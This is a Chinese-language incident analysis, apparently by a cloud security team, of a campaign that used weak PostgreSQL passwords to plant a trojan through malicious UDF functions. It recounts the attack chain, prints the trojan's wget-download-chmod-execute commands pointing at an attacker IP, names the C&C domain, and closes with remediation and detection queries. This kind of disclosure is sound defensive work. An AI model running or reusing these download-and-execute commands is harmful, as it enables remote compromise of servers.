態勢感知將DDOS扼殺在搖籃中:涉及數千台PostgreSQL服務器
0x00 前言
近日,雲盾的態勢感知係統成功捕獲到一起利用PostgreSQL弱口令批量植入木馬的事件。本文將分享我們對此次事件的追蹤過程,從攻擊方式,用到的工具,到攻擊的範圍,還原整個攻擊事件。
0x01 發現
2015年11月27日星期五,雲盾態勢感知係統產出了一條異常的告警,團隊成員立即對告警進行響應。通過告警信息定位到了傳播源。
我們發現該傳播源為一個HFS文件服務器:
在HFS服務器中,發現了黑客用來批量掃描漏洞和自動攻擊的程序:ps.exe和pexec.exe。下載到本地進行分析之後,判定此工具為針對PostgreSQL數據庫的自動化攻擊程序。程序使用了C#編寫,ps.exe負責掃描PostgreSQL服務弱口令,將掃描結果通過web接口記錄到文件:
黑客將掃描到弱口令的IP列表導入到pexec.exe,程序會首先判斷服務器PostgreSQL的版本,通過SQL寫入對應的/tmp/testproxy.so文件,然後創建名為exec111的UDF函數,最後通過UDF執行惡意指令。有趣的是,我們在利用程序中並發現沒有針對windows版本的postgresql進行利用的代碼,說明黑客的程序還是一個半成品。下麵是針對linux下PostgreSQL 9.3版本的部分利用代碼:
在兩個程序中,作者都寫入了對硬件CPU ID的判斷,程序僅允許在指定機器運行,但是作者卻沒對程序代碼做混淆和加殼。
在攻擊者HFS上,我們還發現了攻擊者已經掃描到的PostgreSQL弱口令和利用成功的IP列表:
經過我們統計,這份數據裏包含了被植入木馬的2626個IP地址,以及剛掃描出的1217台存在弱口令的PostgreSQL服務器IP地址。
進一步對攻擊者植入的UDF程序進行逆向分析,發現該UDF執行了如下命令:
wget -P /tmp/ https://211.115.116.198:1234/testproxy -O /tmp/testproxy
chmod 777 /tmp/testproxy
/tmp/testproxy > testtmp &
rm -rf ./testproxy
testproxy是真正的木馬程序,啟動後會嚐試解析baby0119.com域名,並連接其80端口,等待C&C發送指令並執行。
0x02 攻擊鏈路還原
- 黑客通過ps.exe程序,全網掃描存在弱口令和空口令的PostgreSQL服務器並將IP保存。
- 利用PostgreSQL pg_largeobject的特性,對漏洞主機發起攻擊:將惡意udf分段寫入PosrgreSQL表中,並導出實體文件到: /tmp/testproxy.so
- 從/tmp/testproxy.so導入惡意代碼,創建UDF函數並執行,下載惡意文件傳播源(HFS服務器)上的testproxy木馬並運行。
- 木馬啟動後會嚐試連接baby0119.com域名的 80端口,等待C&C發送指令。
0x03 漏洞影響
攻擊者掃描全網存在弱口令和空口令的PostgreSQL數據庫主機,通過UDF函數植入木馬,通過木馬程序,攻擊者可以控製受害機器發起惡意行為。阿裏雲雲盾態勢感知係統在27日第一時間發現該威脅,截止本文終稿,還並未發現木馬C&C服務器開放和發送指令,我們推測攻擊者還處於批量“抓雞”階段,還沒有來得及開始利用這個木馬進行攻擊。
-
0x04影響範圍
我們針對全國開放5432端口的服務器進行了詳細的探測,發現有19554台服務器運行著PostgreSQL服務,其中可以通過弱口令登錄PostgreSQL的服務器有1353台。按地區分布數量進行排名,第一位是台灣,浙江、北京排在第二、三位。
在分析PostgreSQL弱口令的過程中,我們注意到了PostgreSQL的一個特性,即“信任IP登錄”。在pg_hba.conf文件中,如果把某個IP段的auth-method字段配置為“trust”,意味著在該IP段下不需要任何驗證即可訪問數據庫中所有數據。對上述1353台存在弱口令的服務器進行深入分析,我們發現超過50%的PostgreSQL對所有IP都開啟了“trust”模式,這些服務器都存在極大的安全風險!
0x05 修複建議:
- 禁止postgresql以root權限運行,建議使用獨立帳號運行
adduser dbuser
sudo su – dbuser
- 修改數據庫帳號為強密碼,例如
alter user postgres with password ‘aliyunSecurity1234*_*’;
- 檢查PostgreSQL配置文件conf中是否存在:host all all 0.0.0.0/0 trust ,建議修改為使用密碼認證。
- 查看是否存在惡意UDF函數
select proname,prosrc from pg_proc where proname = ‘exec111’;
- 查看是否存在可疑UDF函數,查看哪些函數不是係統預設的、或者管理員自己添加的
select proname,prosrc from pg_proc;
- 查看是否存在可疑存儲過程
select tgrelid from pg_trigger;
- 檢查自己服務器是否存在/tmp/testproxy.so文件
最後更新:2017-04-01 13:51:26